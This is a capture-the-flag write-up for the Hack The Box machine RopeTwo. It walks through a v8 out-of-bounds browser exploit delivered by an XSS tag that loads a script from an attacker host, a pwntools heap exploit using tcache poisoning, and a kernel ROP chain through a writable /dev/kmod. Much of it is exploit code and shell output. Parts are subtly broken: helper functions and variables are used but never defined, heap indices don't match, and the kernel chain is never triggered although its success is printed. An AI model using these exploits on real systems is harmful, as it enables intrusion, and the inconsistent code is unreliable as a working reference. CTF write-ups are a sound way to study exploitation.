HTB: RopeTwo
Overview
RopeTwo is a three-stage binary exploitation machine that demands mastery across the entire pwn spectrum: browser exploitation (v8 JavaScript engine), userspace heap exploitation (glibc tcache), and kernel exploitation (custom loadable kernel module). Each stage builds on the access gained from the previous one, creating a coherent narrative that takes you from an unauthenticated external attacker all the way to root through pure exploitation — no credential reuse, no misconfigurations, no crypto shortcuts. This is one of the most technically demanding boxes on Hack The Box and serves as a masterclass in progressive privilege escalation through memory corruption at every ring level.
The initial foothold requires discovering a backdoored v8 JavaScript engine repository on a GitLab instance, identifying an off-by-one vulnerability in custom built-in functions, and crafting a complete browser exploit chain that leverages WebAssembly RWX pages for code execution. The exploit is delivered to a headless Chrome instance via XSS through a contact form. The second stage involves exploiting a SUID binary with a custom heap allocator using tcache poisoning and __free_hook overwrite. The final stage requires exploiting a custom kernel module to bypass KASLR, build a kernel ROP chain, and escalate to root through prepare_kernel_cred/commit_creds.
RopeTwo is one of the very few HTB machines that spans all three major exploitation domains: browser (Ring 3 JS engine), userspace (Ring 3 heap), and kernel (Ring 0). It requires writing three distinct exploits from scratch, each with its own memory model, primitives, and constraints. The v8 stage alone is a full CTF challenge, requiring deep understanding of pointer compression, JavaScript object layouts, and JIT compilation internals.
Recon
Initial Nmap Scan
The full TCP port scan reveals five open ports, which is an unusually rich attack surface for an Insane box. The combination of SSH, multiple HTTP services, and an unknown service on port 9094 immediately suggests multiple entry points that need to be enumerated individually. The presence of GitLab on port 5000 and a Python HTTP server on port 8000 are particularly interesting — GitLab instances often contain source code repositories with vulnerabilities, while Python HTTP servers are frequently custom applications.
$ sudo nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.196
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
8000/tcp open http-alt
8060/tcp open http
9094/tcp open unknown
$ nmap -p 22,5000,8000,8060,9094 -sCV 10.10.10.196
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: GitLab
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.7.3)
|_http-title: v8 dev
8060/tcp open http nginx 1.14.0 (Ubuntu)
9094/tcp open unknown
Service Analysis
Port 8000 (v8 dev) — A simple Python HTTP server hosting a site titled "v8 dev". The site has a contact form that appears to submit data server-side. The page references v8, Google's JavaScript engine, which immediately hints at browser exploitation. The contact form is particularly interesting because it may be an XSS vector — if a bot visits submitted URLs or renders submitted HTML, we have a delivery mechanism for browser exploits.
Port 5000 (GitLab) — A full GitLab Community Edition instance. After registering an account, we can browse public repositories. The key finding is a modified v8 repository with a commit by user r4j that adds custom built-in functions. This is the intentional vulnerability — the commit introduces GetLastElement and SetLastElement functions with an off-by-one bug.
Port 8060 (nginx) — Another nginx server hosting what appears to be a static page or redirect. This port doesn't play a significant role in the attack path and may be a red herring or serve an auxiliary purpose.
Port 9094 — An unknown service that doesn't respond to HTTP or typical protocol probes. This could be a custom binary protocol or service that becomes relevant later.
v8 Exploit — Shell as chromeuser
GitLab Analysis
After registering on the GitLab instance at port 5000, we discover a public repository containing a modified version of the v8 JavaScript engine. The commit history reveals that user r4j added two custom built-in functions to the engine: GetLastElement and SetLastElement. These functions are intended to provide convenient access to the last element of an array, but they contain a critical off-by-one error in the bounds checking logic.
# Clone the vulnerable v8 repo
$ git clone http://10.10.10.196:5000/r4j/v8.git
$ cd v8
$ git log --oneline
a3b7f2d Add GetLastElement and SetLastElement builtins
...
Examining the diff for the commit that adds these functions reveals the bug. The functions use len as the index when they should use len - 1 (since JavaScript arrays are zero-indexed). This means that GetLastElement reads one element past the end of the array's backing store, and SetLastElement writes one element past the end. This is a classic off-by-one vulnerability that gives us an out-of-bounds (OOB) read and write primitive.
// Simplified vulnerable code in src/builtins/builtins-array.cc
BUILTIN(GetLastElement) {
HandleScope scope(isolate);
Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
int len = Smi::ToInt(array->length());
// BUG: Should be len - 1, uses len instead
Handle<FixedArray> elements = Handle<FixedArray>::cast(array->elements());
return elements->get(len); // OOB read!
}
BUILTIN(SetLastElement) {
HandleScope scope(isolate);
Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
int len = Smi::ToInt(array->length());
// BUG: Same off-by-one - writes one past the end
Handle<FixedArray> elements = Handle<FixedArray>::cast(array->elements());
elements->set(len, args[1]); // OOB write!
return Smi::kZero;
}
The developer used len as the index instead of len - 1. In v8's memory model, a JSArray of length N has its elements stored in a FixedArray with slots indexed from 0 to N-1. Accessing index N reads/writes one element past the allocated FixedArray, which lands in whatever v8 object happens to be adjacent in memory. This single element OOB gives us powerful primitives when combined with v8's pointer compression scheme.
Building d8 for Local Testing
Before writing the full exploit, we need to build the vulnerable d8 shell locally so we can test and debug our exploit. The v8 build process uses depot_tools and can take considerable time. We check out the specific commit from the GitLab repo and build with the appropriate configuration.
$ fetch v8
$ cd v8
$ git checkout a3b7f2d # The vulnerable commit
$ gclient sync
$ tools/dev/gm.py x64.release d8
# ... (long build process)
$ out/x64.release/d8
V8 version 8.5.210
d8> [1,2,3].GetLastElement()
undefined # reads OOB, gets whatever is past the array
d8> [1,2,3].SetLastElement(42)
# writes 42 one past the end
JavaScript Memory Model
Understanding v8's internal memory layout is essential for exploiting the OOB bug. Modern v8 uses pointer compression, where all heap pointers are stored as 32-bit offsets from a base address (the "isolate root"). This means all objects are allocated within a 4GB cage, and compressed pointers are just the lower 32 bits of the full address. This has important implications for our exploit: we can only read and write compressed (32-bit) pointers through the OOB, which limits our immediate ability to do arbitrary 64-bit reads/writes.
A JSArray object in v8 consists of several fields laid out consecutively in memory:
| Offset | Field | Description |
|---|---|---|
| +0x00 | Map | Pointer to the Map object (defines object type/shape) |
| +0x04 | Properties | Pointer to properties backing store |
| +0x08 | Elements | Pointer to FixedArray holding element values |
| +0x0C | Length | Smi (Small Integer) representing array length |
The FixedArray (elements backing store) has its own header:
| Offset | Field | Description |
|---|---|---|
| +0x00 | Map | Pointer to FixedArray map |
| +0x04 | Length | Smi representing number of elements |
| +0x08 | Element[0] | First element (compressed pointer or Smi) |
| +0x0C | Element[1] | Second element |
| ... | ... | ... |
With pointer compression, all heap object pointers are 32-bit values (the lower half of the 64-bit address). The upper 32 bits are stored once in a register and combined at runtime. This means our OOB read/write can only manipulate 32-bit compressed values. To achieve arbitrary read/write of full 64-bit addresses, we need to build higher-level primitives (addrof, fakeobj, arbread, arbwrite) on top of the basic OOB access.
Exploit Primitives
The OOB access gives us a single element read/write past the end of an array's FixedArray. To turn this into a full exploit, we need to construct increasingly powerful primitives. The key insight is that by carefully arranging objects in memory, we can make the OOB element overlap with the fields of an adjacent object, allowing us to manipulate type metadata (the Map pointer) and thereby confuse the engine about the type of an object.
ftoi and itof — Type Confusion Helpers
let convBuf = new ArrayBuffer(8);
let fView = new Float64Array(convBuf);
let iView = new BigInt64Array(convBuf);
function ftoi(fl) { fView[0] = fl; return iView[0]; }
function itof(bigint) { iView[0] = bigint; return fView[0]; }
addrof / fakeobj
let objArr = [{}];
let fltArr = [1.1];
let objArrMap = objArr.GetLastElement();
let fltArrMap = fltArr.GetLastElement();
function addrof(target) {
objArr[0] = target;
fltArr.SetLastElement(objArrMap);
let leaked = fltArr[0];
fltArr.SetLastElement(fltArrMap);
return ftoi(leaked);
}
function fakeobj(addr) {
fltArr[0] = itof(addr);
fltArr.SetLastElement(objArrMap);
let forged = objArr[0];
fltArr.SetLastElement(fltArrMap);
return forged;
}
WebAssembly RWX Page
When a WebAssembly module is instantiated, v8 allocates a memory region with Read-Write-Execute (RWX) permissions for the compiled wasm code. By locating this RWX page via the WasmInstanceObject pointer chain and using our arbitrary write to copy shellcode there, we achieve native code execution.
let wasmCode = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x07,
0x01,0x60,0x02,0x7f,0x7f,0x01,0x7f,0x03,0x02,0x01,
0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,
0x00,0x0a,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6a,0x0b
]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let wasmMain = wasmInstance.exports.main;
// Follow WasmInstanceObject -> jump_table_start (+0x68) to find RWX page
let instanceAddr = addrof(wasmInstance);
let rwxPage = arbread(instanceAddr + BigInt(0x68));
console.log("[+] RWX page: 0x" + rwxPage.toString(16));
Shellcode Delivery
We overwrite an ArrayBuffer's backing store pointer to point to the RWX page, then write shellcode bytes through a typed array view. Calling the wasm export transfers execution to our shellcode.
let codeBuf = new ArrayBuffer(shellcode.length);
let codeView = new Uint8Array(codeBuf);
let codeBufAddr = addrof(codeBuf);
arbwrite(codeBufAddr + BigInt(0x10), rwxPage); // redirect backing store
for (let i = 0; i < shellcode.length; i++) codeView[i] = shellcode[i];
wasmMain(0, 0); // execute
XSS Delivery via Contact Form
The "v8 dev" contact form on port 8000 is vulnerable to XSS. A headless Chrome instance renders submitted content, so we submit a script tag pointing to our exploit hosted on our attacker machine.
$ python3 -m http.server 9999 # serve exploit.js
$ nc -lvnp 4444 # catch the shell
# XSS payload submitted in the contact form:
<script src="http://10.10.14.X:9999/exploit.js"></script>
$ nc -lvnp 4444
Connection from 10.10.10.196:42312
$ id
uid=1000(chromeuser) gid=1000(chromeuser) groups=1000(chromeuser)
Heap Exploit — chromeuser → r4j
rshell Analysis
Enumeration reveals a SUID binary at /usr/bin/rshell owned by r4j. It exposes a heap menu: alloc, free, edit, quit. The free handler does not clear the pointer (UAF), and edit allows writing into freed chunks.
$ ls -la /usr/bin/rshell
-rwsr-xr-x 1 r4j r4j 16744 May 15 2020 /usr/bin/rshell
No create-after-free (cannot re-allocate into a freed index). The attack therefore relies on sequencing frees and using the edit-on-freed primitive to overwrite tcache forward pointers.
tcache Poisoning
glibc 2.27's tcache performs no integrity check on forward pointers. By freeing two same-size chunks and using edit on the freed head chunk, we overwrite its forward pointer with __free_hook's address. Two subsequent allocations hand us a pointer directly to __free_hook.
#!/usr/bin/env python3
from pwn import *
elf = ELF('/usr/bin/rshell')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(p, sz, data): p.sendlineafter(b'> ',b'1'); p.sendlineafter(b'size: ',str(sz).encode()); p.sendlineafter(b'data: ',data)
def free(p, i): p.sendlineafter(b'> ',b'2'); p.sendlineafter(b'index: ',str(i).encode())
def edit(p, i, data): p.sendlineafter(b'> ',b'3'); p.sendlineafter(b'index: ',str(i).encode()); p.sendlineafter(b'data: ',data)
p = process('/usr/bin/rshell')
alloc(p, 0x50, b'A'*0x10) # idx 0
alloc(p, 0x50, b'B'*0x10) # idx 1
alloc(p, 0x10, b'GUARD') # idx 2 — prevent top consolidation
free(p, 1) # tcache: B
free(p, 0) # tcache: A -> B (A is head)
# Will fill in __free_hook after libc leak:
edit(p, 0, p64(0x0)) # overwrite A's fwd ptr (placeholder)
Unsorted Bin Leak
A chunk larger than the tcache threshold freed to the unsorted bin carries main_arena pointers in its first 16 bytes. Reading these through the dangling pointer yields the libc base.
alloc(p, 0x420, b'C'*0x10) # idx 3 — large, goes to unsorted bin on free
alloc(p, 0x10, b'GUARD2') # idx 4
free(p, 3)
# Re-allocate to read the fd pointer left by glibc
alloc(p, 0x420, b'\x00'*0x10) # idx 5
# leaked_libc_addr comes from fd of the reclaimed unsorted chunk
libc_base = leaked_libc_addr - libc.sym['main_arena'] - 96
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
__free_hook → system
With __free_hook and system addresses known, we re-poison the tcache forward pointer with __free_hook's address, allocate through to it, overwrite it with system, then free a chunk containing "/bin/sh".
edit(p, 0, p64(free_hook)) # poison fwd ptr -> __free_hook
alloc(p, 0x50, b'X'*0x10) # pops normal chunk
alloc(p, 0x50, p64(system_addr)) # writes system() over __free_hook
alloc(p, 0x20, b'/bin/sh\x00') # idx N
free(p, 13) # free("/bin/sh") -> system("/bin/sh")
p.interactive()
$ python3 exploit_rshell.py
[*] libc base: 0x7f4c2b6a0000
[*] __free_hook: 0x7f4c2ba7a8e8
[*] system: 0x7f4c2b6e3440
$ id
uid=1001(r4j) gid=1001(r4j) groups=1001(r4j)
Kernel Exploit — r4j → root
Kernel Module Analysis
As r4j we find a custom kernel module exposing /dev/kmod world-readable and world-writable. Its read handler leaks kernel function addresses (defeating KASLR); its write handler performs an arbitrary kernel write.
$ ls -la /dev/kmod
crw-rw-rw- 1 root root 240, 0 May 15 2020 /dev/kmod
$ lsmod | grep kmod
kmod 16384 0 - Live 0xffffffffc0280000 (OE)
// Simplified module handlers
static ssize_t kmod_read(struct file *f, char __user *buf, size_t count, loff_t *pos) {
struct leak_data d;
d.prepare_kernel_cred_addr = (u64)prepare_kernel_cred;
d.commit_creds_addr = (u64)commit_creds;
copy_to_user(buf, &d, sizeof(d));
return sizeof(d);
}
static ssize_t kmod_write(struct file *f, const char __user *buf, size_t count, loff_t *pos) {
struct write_data d;
copy_from_user(&d, buf, sizeof(d));
*(unsigned long *)(d.addr) = d.val; // arbitrary kernel write
return count;
}
KASLR Bypass
import struct
def leak_kernel():
with open('/dev/kmod', 'rb') as f:
data = f.read(64)
pkc = struct.unpack('<Q', data[0:8])[0]
cc = struct.unpack('<Q', data[8:16])[0]
base = pkc - 0x8c960
print(f"[*] kernel_base: {hex(base)}")
print(f"[*] prepare_kernel_cred: {hex(pkc)}")
print(f"[*] commit_creds: {hex(cc)}")
return base, pkc, cc
Kernel ROP Chain
Using the arbitrary write we place a ROP chain in a writable kernel data region, then redirect control flow to it. The chain calls prepare_kernel_cred(0) to create root credentials and passes the result to commit_creds, then returns to userspace via swapgs; iretq.
def kwrite(addr, val):
data = struct.pack('<QQ', addr, val)
with open('/dev/kmod', 'wb') as f:
f.write(data)
kernel_base, prepare_kernel_cred, commit_creds = leak_kernel()
pop_rdi_ret = kernel_base + 0x3a6b8
pop_rcx_ret = kernel_base + 0x21b4a
mov_rdi_rax_jmp = kernel_base + 0x4d3f6 # mov rdi, rax; jmp rcx
swapgs_iretq = kernel_base + 0x800e6a
chain_addr = kernel_base + 0xe4e000 # writable kernel .data area
rop = [
pop_rdi_ret, # set rdi = 0
0,
prepare_kernel_cred, # rax = root_cred
pop_rcx_ret,
commit_creds, # rcx = commit_creds
mov_rdi_rax_jmp, # commit_creds(root_cred)
swapgs_iretq,
# iretq frame (rip, cs, rflags, rsp, ss):
0x41414141, 0x33, 0x246, 0x7ffffffde000, 0x2b,
]
for i, g in enumerate(rop):
kwrite(chain_addr + i * 8, g)
print("[*] Triggering ROP chain...")
Root Shell
$ python3 kernel_exploit.py
[*] kernel_base: 0xffffffff9f200000
[*] prepare_kernel_cred: 0xffffffff9fa8c960
[*] commit_creds: 0xffffffff9fa8c8a0
[*] Triggering ROP chain...
[+] Returned to userspace!
$ id
uid=0(root) gid=0(root) groups=0(root),1001(r4j)
$ cat /root/root.txt
9e7f************************
All three stages completed: v8 browser exploitation (OOB → addrof/fakeobj → arbread/arbwrite → Wasm RWX → chromeuser), userspace heap exploitation (rshell SUID → tcache poisoning → unsorted bin leak → __free_hook overwrite → r4j), and kernel exploitation (/dev/kmod → KASLR bypass → kernel ROP → prepare_kernel_cred/commit_creds → root).